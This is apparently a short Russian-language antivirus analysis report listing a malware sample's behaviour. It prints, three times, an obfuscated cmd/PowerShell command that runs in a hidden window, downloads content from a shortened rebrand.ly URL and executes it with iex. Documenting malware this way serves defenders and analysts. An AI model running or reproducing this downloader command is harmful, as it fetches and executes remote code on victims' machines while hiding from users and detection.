Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C P^o^W^e^R^s^H^e^L^L -^w^i^n^d^o^w^S^t^y^le h^i^d^d^e^n $kgnwerognweognwepgowknergpowenrgpowerngq=CuRl 'rebrand.ly/Firts';i`E`x ($kgnwerognweognwepgowknergpowenrgpowerngq.content)
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C P^o^W^e^R^s^H^e^L^L -^w^i^n^d^o^w^S^t^y^le h^i^d^d^e^n $kgnwerognweognwepgowknergpowenrgpowerngq=CuRl 'rebrand.ly/Firts';i`E`x ($kgnwerognweognwepgowknergpowenrgpowerngq.content)' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowStyle hidden $kgnwerognweognwepgowknergpowenrgpowerngq=CuRl 'rebrand.ly/Firts';i`E`x ($kgnwerognweognwepgowknergpowenrgpowerngq.content)
